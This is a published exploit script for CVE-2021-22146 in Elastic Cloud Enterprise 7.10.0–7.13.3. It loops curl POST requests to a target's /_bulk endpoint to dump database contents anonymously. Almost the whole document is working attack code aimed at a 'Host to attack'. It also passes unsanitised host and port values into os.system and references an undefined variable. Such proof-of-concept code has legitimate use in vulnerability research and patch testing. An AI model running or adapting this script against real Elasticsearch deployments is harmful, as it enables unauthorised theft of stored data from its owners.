# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <= 7.13.3
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
  parser = argparse.ArgumentParser()
  parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
  parser.add_argument('-s', "--host", action="store",
            dest='host',
                      help="Host to attack.")
  parser.add_argument('-p', "--port", action="store",
            dest='port',
                      help="Elastic search port by default 9200 or 9201")
  parser.add_argument('-i', "--index", action="store",
            dest='index',
                      help="Index to dump (Example: 30)")


  args = parser.parse_args()
  if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
    parser.print_help(sys.stderr)
    sys.exit(1)
  return args

def banner():
    print("      _           _   _         _")
    print("  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __")
    print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
    print("|  __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
    print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
    print("                                                 |_|")



def exploit(host,port,index):

  if (index != 0):
      final = int(index)
  else:
      final = 1000000000

  cont = 0
  while (cont <= final):
    os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\"  :  {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
    cont = cont + 1

if __name__ == "__main__":

  banner()
  args = checkArgs()
  if (args.index):
      exploit(args.host,args.port,args.index)
  else:
      exploit(args.host,args.port,0)